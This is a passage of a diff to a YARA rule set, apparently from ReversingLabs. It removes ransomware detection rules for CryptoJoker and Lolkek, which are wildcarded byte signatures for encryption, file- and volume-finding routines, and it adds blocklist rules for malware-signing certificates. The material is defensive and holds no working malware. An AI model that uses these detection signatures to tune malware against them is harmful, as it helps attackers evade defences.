?? ?? ?? ?? BB ?? ?? ?? ?? E8 - } - $encrypt_files_p2 = { - 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 - 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? - 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? - ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A - ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? - B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 - DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? - 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Blist LLC" and pe.signatures [ i ] . serial == "2f:4a:25:d5:2b:16:eb:4c:9d:fe:71:eb:bd:81:21:bb" and 1629763200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6889Aab6202Bcc5F11Caedf4D04F435B : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "d4499a1d-aa8d-5056-ad91-439f27f00c33" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12894-L12910" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "b2261ed8001929be8f80f73cc0c5076138f4794c73cbffd63773da5fc44639a8" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C4DL Media" and pe.signatures [ i ] . serial == "68:89:aa:b6:20:2b:cc:5f:11:ca:ed:f4:d0:4f:43:5b" and 1231891200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cryptojoker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3Be63083Fbb1787B445Da97583721419 : INFO FILE { meta: - description = "Yara rule that detects CryptoJoker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "50a9280b-a352-5a2b-acee-5690e509dfd7" - date = "2020-06-26" - modified = "2020-07-15" + id = "6839595d-b645-5963-bd96-a668bfdd667f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoJoker.yara#L1-L140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12912-L12928" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "42ee1e63ada1ae986f43a1300eda0b1fa7b54c26be31ef5637bb321defffbe40" + logic_hash = "f39f5a632544bc01c3b4c9e2f2dd33f7109c44375f54011a34181e10da79debc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CryptoJoker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $call_encrypt = { - 2B 02 26 16 FE 09 00 00 FE 09 01 00 FE 09 02 00 6F ?? ?? ?? ?? 2A - } - $encrypt_files = { - 2B 02 26 16 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 20 00 04 ?? ?? 73 ?? ?? ?? ?? 0C 20 05 ?? ?? ?? - 16 39 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 20 04 ?? ?? ?? FE ?? ?? ?? FE ?? ?? - ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 - 20 03 ?? ?? ?? 16 39 ?? ?? ?? ?? 26 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? - ?? ?? ?? 26 20 00 ?? ?? ?? 38 ?? ?? ?? ?? 00 00 08 06 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? - ?? ?? 26 20 03 ?? ?? ?? 38 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 13 04 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? - 26 00 08 07 17 28 ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 20 03 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 20 02 ?? ?? ?? 38 ?? ?? ?? ?? 11 04 - 13 05 DD ?? ?? ?? ?? 00 08 16 28 ?? ?? ?? ?? 00 00 DC 08 14 FE 01 13 06 11 06 3A ?? ?? ?? ?? 08 28 ?? ?? ?? - ?? 00 DC 00 11 05 2A - } - $start_process = { - 2B ?? 26 16 20 10 ?? ?? ?? 38 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ?? - 38 ?? ?? ?? ?? 00 11 05 17 28 ?? ?? ?? ?? 20 06 ?? ?? ?? 38 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? - 0A 20 09 ?? ?? ?? 38 ?? ?? ?? ?? 00 11 05 08 28 ?? ?? ?? ?? 20 12 ?? ?? ?? 38 ?? ?? ?? ?? - 11 06 17 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 - ?? ?? ?? ?? 11 05 17 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 06 19 20 ?? ?? ?? ?? - 28 ?? ?? ?? ?? A2 20 0F ?? ?? ?? 38 ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 13 06 20 02 ?? ?? ?? 38 - ?? ?? ?? ?? 00 11 04 28 ?? ?? ?? ?? 26 20 13 ?? ?? ?? 38 ?? ?? ?? ?? 08 09 28 ?? ?? ?? ?? - 20 07 ?? ?? ?? 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 05 38 ?? ?? ?? ?? 26 20 0D ?? ?? ?? 38 ?? - ?? ?? ?? 11 06 0D 38 ?? ?? ?? ?? 20 10 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 08 ?? ?? ?? 17 3A ?? ?? ?? ?? - 26 11 06 18 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 00 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? - 26 06 07 28 ?? ?? ?? ?? 0C 20 0B ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 11 06 16 20 ?? - ?? ?? ?? 28 ?? ?? ?? ?? A2 17 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 26 20 03 ?? ?? ?? 16 39 ?? ?? - ?? ?? 26 00 11 04 11 05 28 ?? ?? ?? ?? 20 0A ?? ?? ?? 17 3A ?? ?? ?? ?? 26 00 73 ?? ?? ?? - ?? 13 04 20 04 ?? ?? ?? 38 ?? ?? ?? ?? 2A - } - $msgbox_timer = { - 00 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 28 ?? ?? ?? ?? 0C - 00 02 7B ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE 12 08 14 FE 01 - 13 04 11 04 2D ?? 08 6F ?? ?? ?? ?? 00 DC 00 02 7B ?? ?? ?? ?? 16 32 0E 02 7B - ?? ?? ?? ?? 16 FE 04 16 FE 01 2B ?? 16 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 38 ?? ?? ?? ?? 02 7B ?? - ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 16 FE 01 16 FE 01 2B - ?? 17 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? - ?? 0D 09 17 6F ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F 40 28 ?? - ?? ?? ?? 26 00 38 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 11 - 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 - 11 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 FE 01 13 04 11 04 - 2D ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? - 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 02 7B - ?? ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? - ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? - ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? - ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? - ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? - 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? - ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? ?? - ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 - 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2A - } - $unzip_packed_file = { - 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 0B 06 07 2E ?? 07 06 28 ?? ?? ?? ?? 2D ?? 14 - 2A 02 73 ?? ?? ?? ?? 0C 16 8D ?? ?? ?? ?? 0D 08 6F ?? ?? ?? ?? 13 04 11 04 20 - ?? ?? ?? ?? 40 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 68 13 05 08 6F ?? ?? ?? ?? 13 06 - 08 6F ?? ?? ?? ?? 13 07 11 04 20 ?? ?? ?? ?? 33 ?? 11 05 1F 14 33 ?? 11 06 2D - ?? 11 07 1E 2E ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? ?? 26 08 6F - ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 13 08 08 6F ?? ?? ?? ?? - 13 09 08 6F ?? ?? ?? ?? 13 0A 11 09 16 31 ?? 11 09 8D ?? ?? ?? ?? 13 0B 08 11 - 0B 16 11 09 6F ?? ?? ?? ?? 26 11 0A 16 31 ?? 11 0A 8D ?? ?? ?? ?? 13 0C 08 11 - 0C 16 11 0A 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 59 D4 8D ?? - ?? ?? ?? 13 0D 08 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? 26 11 0D 73 ?? ?? ?? ?? - 13 0E 11 08 8D ?? ?? ?? ?? 0D 11 0E 09 16 09 8E 69 6F ?? ?? ?? ?? 26 14 13 0D - 38 ?? ?? ?? ?? 11 04 1F 18 63 13 0F 11 04 11 0F 1F 18 62 59 13 04 11 04 20 ?? - ?? ?? ?? 40 ?? ?? ?? ?? 11 0F 17 33 ?? 08 6F ?? ?? ?? ?? 13 10 11 10 8D ?? ?? - ?? ?? 0D 16 13 11 2B ?? 08 6F ?? ?? ?? ?? 13 12 08 6F ?? ?? ?? ?? 13 13 11 12 - 8D ?? ?? ?? ?? 13 15 08 11 15 16 11 15 8E 69 6F ?? ?? ?? ?? 26 11 15 73 ?? ?? - ?? ?? 13 14 11 14 09 11 11 11 13 6F ?? ?? ?? ?? 26 11 11 11 13 58 13 11 11 11 - 11 10 32 ?? 11 0F 18 33 ?? 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 13 16 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 17 11 16 11 17 17 - 28 ?? ?? ?? ?? 13 18 11 18 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 19 11 19 28 - ?? ?? ?? ?? 0D DE ?? 11 18 2C ?? 11 18 6F ?? ?? ?? ?? DC 11 0F 19 33 ?? 1F 10 - 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1A 1F 10 8D ?? ?? ?? ?? 25 - D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1B 11 1A 11 1B 17 28 ?? ?? ?? ?? 13 1C 11 1C - 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 1D 11 1D 28 ?? ?? ?? ?? 0D DE 17 11 1C - 2C ?? 11 1C 6F ?? ?? ?? ?? DC 72 B5 0E 00 70 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? - ?? 14 0C 09 2A - } - $resolve_assembly = { - 12 00 03 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 00 16 28 ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 13 11 13 16 1F - 2C 9D 11 13 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 13 04 16 13 05 16 13 06 16 13 07 2B ?? - 09 11 07 9A 08 28 ?? ?? ?? ?? 2C 0A 09 11 07 17 58 9A 13 04 2B ?? 11 07 18 58 13 07 - 11 07 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 2D ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? - ?? ?? 2D ?? 28 ?? ?? ?? ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 16 - 13 08 2B ?? 09 11 08 9A 08 28 ?? ?? ?? ?? 2C ?? 09 11 08 17 58 9A 13 04 2B ?? 11 08 - 18 58 13 08 11 08 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 11 04 - 16 6F ?? ?? ?? ?? 1F 5B 33 ?? 11 04 1F 5D 6F ?? ?? ?? ?? 13 09 11 04 17 11 09 17 59 - 6F ?? ?? ?? ?? 13 0A 11 0A 1F 7A 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 05 11 0A 1F 74 - 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 06 11 04 11 09 17 58 6F ?? ?? ?? ?? 13 04 7E ?? - ?? ?? ?? 25 13 14 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? - ?? ?? 11 04 6F ?? ?? ?? ?? 13 12 DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? - 13 0B 11 0B 39 ?? ?? ?? ?? 11 0B 6F ?? ?? ?? ?? 69 13 0C 11 0C 8D ?? ?? ?? ?? 13 0D - 11 0B 11 0D 16 11 0C 6F ?? ?? ?? ?? 26 11 05 2C ?? 11 0D 28 ?? ?? ?? ?? 13 0D 14 13 - 0E 11 06 2D ?? 11 0D 28 ?? ?? ?? ?? 13 0E DE 0C 26 17 13 06 DE ?? 26 17 13 06 DE ?? - 11 06 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 28 ?? ?? ?? ?? 13 0F 11 0F 28 ?? ?? - ?? ?? 26 11 0F 12 00 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 10 11 10 28 ?? - ?? ?? ?? 2D ?? 11 10 28 ?? ?? ?? ?? 13 11 11 11 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? - 11 11 6F ?? ?? ?? ?? 11 10 14 1A 28 ?? ?? ?? ?? 26 11 0F 14 1A 28 ?? ?? ?? ?? 26 11 - 10 28 ?? ?? ?? ?? 13 0E DE ?? 26 DE ?? 7E ?? ?? ?? ?? 11 04 11 0E 6F ?? ?? ?? ?? 11 - 0E 13 12 DE ?? DE ?? 11 14 28 ?? ?? ?? ?? DC 14 2A 11 12 2A - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( $call_encrypt and $encrypt_files and $start_process ) or ( $msgbox_timer ) or ( $unzip_packed_file and $resolve_assembly ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Lolkek : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Lolkek ransomware." - author = "ReversingLabs" - id = "441badd6-3708-5f74-90f3-4d3a0fc45aff" - date = "2020-10-23" - modified = "2020-10-23" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Lolkek.yara#L1-L106" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d18545b25a33bba1a6e01ab37768bd4f15fb125dcb8cbe7909d9a8bbe08e63fa" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Lolkek" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files = { - 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? - ?? ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 - F7 F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF D3 83 - C4 ?? 56 57 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? - 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? - ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 F7 - F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 85 FF 0F 85 ?? ?? ?? ?? 5E 5B 33 C0 5F C2 - } - $find_volumes_p1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 - 57 E8 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 83 C4 ?? 89 74 24 ?? 33 - } - $find_volumes_p2 = { - FF 8B 5C BC ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 9C B4 ?? ?? ?? ?? 46 47 83 FF - ?? 7C ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? - ?? ?? ?? 8B D8 0F 1F 00 85 F6 74 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 57 - FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 - ?? 4E 57 FF B4 B4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF - D7 33 D2 B9 ?? ?? ?? ?? F7 F1 68 ?? ?? ?? ?? 80 C2 ?? 88 94 34 ?? ?? ?? ?? FF D3 46 - 83 FE ?? 7C ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 15 - } - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? - ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? - 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? - 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57 - 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? - ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 - ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? - 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D - } - $find_files_p2 = { - 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? - ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B - D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D - ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? - 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? - ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? 